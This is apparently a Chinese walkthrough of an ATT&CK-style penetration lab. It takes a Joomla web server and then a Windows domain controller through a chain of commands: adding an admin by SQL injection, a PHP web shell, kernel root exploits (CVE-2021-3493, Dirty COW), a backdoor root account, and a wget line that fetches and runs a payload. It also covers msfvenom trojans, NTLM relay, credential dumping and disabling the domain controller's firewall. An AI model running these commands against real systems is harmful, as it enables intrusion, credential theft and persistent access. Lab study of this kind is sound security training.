ATT&CK(三)
ATT&CK(三)
-
靶场信息
基本信息
**作者:**licong
环境配置
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
参考虚拟机网络配置,添加新的网络,该网络作为内部网络。
注:名称及网段必须符合上述图片,进行了固定ip配置。
描述
目标:域控中存在一份重要文件。
本次环境为黑盒测试,不提供虚拟机账号密码。
大致拓扑如下:
1 | 攻击机: |
外网渗透
Joomla后台漏洞利用
因为是黑盒测试,所以我们现在并不知道出网主机的ip
nmap扫描整个网段,探测存活主机即nmap扫描公网IP,以及开放端口
1 | nmap -sP -T4 192.168.0.0/24 |
靶机地址为192.168.0.37
查看端口开放情况
1 | nmap -sS 192.168.0.37 |
开放22,80,3306端口
80端口http服务,可以尝试登录网页
3306端口mysql服务,可以尝试SQL注入,远程连接Mysql等
查看80端口,
使用msf确定一下joomler的版本,use auxiliary/scanner/http/joomla_version模块,发现Joomla 的版本号是3.9.12
1 | use auxiliary/scanner/http/joomla_version |
网上搜索版本号为3.9.12的joomler存在RCE漏洞,但是需要管理员的账户和密码,再接着信息收集。
使用dirsearch扫描后台,
1.php
是phpinfo界面
/administrator
目录是管理员登陆页面
/configuration.php~
页面发现配置文件,数据库的账号和密码,
尝试远程连接
连接成功
找到了用户组
有一个超级管理员,但是密码被加密了
但是我们会发现此处的密码是加密过的,那么我们插入数据也应该修改为加密后的密码
那么如何得到加密的密码呢?我们可以再 joomla 的官方网站找到思路
我们插入它的示例代码就可以添加管理员 J1Nmu/secret
d2064d358136996bd22421584a7cb33e是secret
的md5
这里要添加到Super User
用户组
1 | INSERT INTO am2zu_users (name, username, password, params, registerDate, lastvisitDate, lastResetTime) VALUES ('Super User', 'J1Nmu', 'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW()); INSERT INTO am2zu_user_usergroup_map (user_id,group_id) VALUES (LAST_INSERT_ID(),'8'); |
使用账户密码登陆
利用命令执行之前先看看disable_functions
1 | exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source |
1 | $_=(_/_._)[_];$__=++$_;$__=++$_.$__;$_++;$_++;$_=_.$__.++$_.++$_;$$_[_]; |
最后观察页面上的信息,推测路径http://192.168.0.37/templates/beez3/joom.php,注意linux系统严格区分大小写
连接成功后,绕过disables_functions,选择PHP7_GC_UAF模式或者下一个PHP的模式,然后点击开始,就会弹出一个终端
当前网卡ip与连接ip不一致,当前 ip 为 192.168.93.120,内核是 ubuntu,说明真正的 web 服务后端在 ubuntu。
内网渗透
渗透ubuntu
信息收集
1 | ifconfig 发现一个网段192.168.93.0/24 和 一个IP地址 192.168.93.120 |
结合上面的信息
Centos是Ubuntu的反向代理,用的是Nginx协议
继续信息搜集,ssh密钥无权查看
找到一个文件/tmp/mysql/test.txt
ssh连接centos
用户名wwwuser
密码 wwwuser_123Aqx
经过验证是centos的ssh连接
ubuntu&CVE-2021-3493提权
第一步是先将绕过disable_function的shell反弹到centos上(因为不能出网)
centos 离线安装 nc:https://blog.csdn.net/weixin_40583191/article/details/106803430
上传到centos安装nc并监听2333
1 | rpm -iUv nc-1.84-22.el6.x86_64.rpm |
1 | #ubuntu 反弹shell |
Ubuntu特权提升漏洞(CVE-2021-3493)
漏洞描述
OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu附带了一个允许非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来获得更高的特权。
影响版本
Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM
刚好ubuntu16.04尝试提权
EXP下载地址:https://github.com/briskets/CVE-2021-3493
下载好之后直接上传exp,
1 | gcc exploit.c -o exp |
成功提权
渗透centos
信息搜集
1 | whoami |
内核提权(脏牛提权)
内核版本较老尝试脏牛提权
原理:
linux内核的子系统在处理写入时复制至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。并且在提权的时候,杀毒软件并不会检测到。
竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。
影响版本:
Linux内核> = 2.6.22(2007年发行)开始就受影响了,直到2016年10月18日才修复。
危害:
低权限的用户可利用这一漏洞在本地进行提权
工具地址:https://github.com/FireFart/dirtycow
将 dirty.c 上传到 centos的**/tmp**目录,
对dirty.c进行编译
1 | gcc -pthread dirty.c -o dirty -lcrypt |
执行编译后的文件,并设置密码,要先删除rm /tmp/passwd.bak
1 | ./dirty 123456 |
成功提权
1 | su firefart |
权限维持,添加 root 后门
1 | # 创建一个用户名guest,密码123456的root用户 |
CrossC2 上线centos(该过程不包括免杀)
项目
https://github.com/gloxec/CrossC2/releases/
1 | ./genCrossC2.Linux 192.168.1.113 6666 ./.cobaltstrike.beacon_keys null Linux x64 test stager 4.7 |
配置监听器
将test2
上传并执行,原文中用的4.1我的是4.7没有成功,只在CS服务器显示回显
上线msf
1 | use exploit/multi/script/web_delivery |
复制payload到centos执行
1 | wget -qO WUgJZxuo --no-check-certificate http://192.168.0.22:8080/kVce9ocllA; chmod +x WUgJZxuo; ./WUgJZxuo& disown |
成功上线
由于在获取的会话执行shell获取的不是完整shell,所以使用pyhton中的pty模块反弹一个完整的shell环境
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
1 | run autoroute -s 192.168.93.0/24 |
1 | ifconfig |
发现内网网段192.168.93.0/24
首先添加路由
1 | route add 192.168.93.0 255.255.255.0 3 |
添加了路由之后只有msfconsole能进入到内网,如果需要其它程序也能进入到内网就要建立代理
挂起会话,ctrl+z(挂起后使用命令jobs可以查看挂起的进程,使用命令fg %挂起进程号(例:fg %1)可以恢复
路由转发Sock代理
添加路由是为了能让msf程序进入内网,便于攻击
earthworm搭建socks5反向代理服务 是为了让kali(攻击者)的程序进入内网,可以扫描内网主机信息等
ew流量走向:本地流量–本地1080端口–web服务器1234端口(利用EW)-- 内网服务器 – web服务器的1234端口 – 本地1080端口
Socks5代理
上述的内网渗透,建立监听操作都是在msfconsole视图下完成的,路由转发只能将msfconsole带进内网,但是想要将攻击机其他程序也带进内网还需要搭建socks代理。
使用earthworm搭建socks5反向代理
项目地址:https://github.com/idlefire/ew/blob/master/ew_for_linux64
将工具放到了CS插件目录
1 | chmod +x ew_for_linux64 |
在CentOS上传 ew_for_linux64
1 | chmod +x ew_for_linux64 |
之后我们就可以利用proxychains将我们的程序代理进入内网了
测试可以ping通内网主机
1 | ping 192.169.93.30 |
为什么这里是去ping 192.169.93.30
而不是真正的192.169.93.30
存活主机探测
先添加路由,把 meterpreter 放在后台,进行存活主机探测。
1 | run autoroute -s 192.168.93.0/24 |
得到了三台 TEST 域的 windows 主机
1 | 192.168.93.20 windows server 2008 |
使用nmap扫描每台主机
proxychains4 nmap -sP -T4 192.168.93.10
proxychains4 nmap -sP -T4 192.168.93.20
三台主机都是windows,10这台主机开放了53端口,可以推测出这台主机为域控主机
横向移动
Win2008
尝试爆破SMB win2008管理员
1 | use auxiliary/scanner/smb/smb_login |
爆破出来是123qwe!ASD
MSF中PsExec漏洞模块利用
1 | use exploit/windows/smb/psexec |
但是一直掉线就很尴尬
查看共享目录并登录,我一直登不上
1 | proxychains smbclient //192.168.93.20/ADMIN$ -U administrator |
NTLM Relay 攻击
原文链接:https://blog.csdn.net/weixin_46684578/article/details/118685782
1 | 工具使用说明: |
通过NTLM Relay伪造的SMB服务器拿到密码,利用msf拿下 win2008
大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2。
1 | 因此我们的思路就是通过msf生成的木马shell.exe,上传到CentOS,用smbrelayx.py执行,然后CentOS上就会生成 伪造的SMB恶意服务器,内网主机访问SMB并输入账号密码,CentOS的上的恶意代码smbrelayx.py就会抓取内网主机的 Net-NTLM Hash,返还给内网中的另一台主机(本案例中为win 2008(192.168.93.20)),并通过CentOS上的msf生成的shell.exe回传给kali(攻击者),然后内网目标主机通过msf的监听上线。 |
首先利用msf的msfvenom模块生成一个exe后缀木马(开启远程桌面也是用到此模块)
1 | msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.101 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe |
将生成的木马文件上传到CentOS(看得出来木马已经很老了,火绒都能检测出来)
下面我们下载python3 环境
由于有一个认证失败的原因,因此不能直接用 pip install --upgrade pip 的方式。要用下面的方式进行安装
1 | wget -c https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz |
1 | ln -s /usr/local/python/bin/python3 /usr/bin/python3 |
然后进入Impacket的examples目录执行如下命令:
1 | python3 smbrelayx.py -h 192.168.93.20 -e /home/wwwuser/shell.exe |
执行完python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe。此时,如果内网中的有域用户访问再次通过CentOS代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻击者在CentOS上面搭建的一个恶意的smb服务,会弹出一个认证页面:
安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,会在Windows Server 2008上面上传我们预先生成的木马shell.exe并执行。因为smbrelayx.py指定的是192.168.93.20这台主机
由此命令 python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe 可知,smbproxy.py抓取的用户名密码信息都会重放到win 2008(192.168.93.20),所有要对win 2008进行监听
1 | 在msf上开启对 win 2008(192.168.93.20)的监听 |
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run
这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透
注意这里在监听bind_tcp时一定要设置进程迁移,否则在Removing file
的时候,会话也随之关闭了
win2012
定位域管理员
PVEFindADUser.exe:它通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,可以查找域用户位置、某计算机上登录用户,定位管理员
需要注意的是:该工具的某些功能需要管理员权限
1 | upload /root/桌面/PVEFindADUser.exe |
拿下Windows server 2008之后,然后进入shell中执行如下命令:
1 | shell |
如下图,成功显示域中所有计算机上当前登陆的所有用户:
meterpreter的kiwi模块抓取密码
成功抓取到了Windows 2008本地的管理员用户和域管理员的密码:
WIN2008\Administrator:123qwe!ASD
TEST\administrator:zxcASDqw123!!
使用获取到的密码控制 win7
思路:由于域内的用户名密码可以任意登录主机,因此获取用户名密码后,就可以利用 msf的exploit/windows/smb/psexec模块 登录其他主机
由于在使用NTLM Realy的时候,win7(192.168.93.30) 登录smb伪造服务器也会被 win2008(192.168.93.20)记录来了,猜测应该可以用同一组密码登录 win7
下面尝试登录 PC (win7 : 192.168.93.30)
1 | use exploit/windows/smb/psexec |
进攻域控(win 2012)
思路:由于获取到了域管理员的密码,首先尝试用msf的exploit/windows/smb/psexec模块登录,登录失败后,尝试其他方法。在msf上用msfvenom模块生成exe木马文件,上传到win 2008,将win 2008作为跳板,远程攻击win 2012。在win 2008上窃取管理员用户的token令牌,这样就可以通过win2008 访问 win2012(域控),然后远程关掉域控的防火墙,在此用msf登录域控,结果成功,接下来就是后渗透找目标文件
用同样的方式进行登录,通过上面获取的域控的用户名密码,通过msf直接登录,但是这次失败
1 | setg Proxies socks5:127.0.0.1:1080 |
窃取win2008的域管理员token令牌
1 | use incognito |
这样我们的当前拿下的Win2008便有了访问域控制器的权限
在C:\Users\Administrator\Documents目录里面发现了所谓的机密文件
关闭win2012(192.168.93.10)的防火墙
1 | sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" |
再次使用msf的 exploit/windows/smb/psexec 模块登录win2012
成功上线截图留念
娱乐时间
msf派生联动cs
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=7720 -f exe > shell.exe |
1 | background |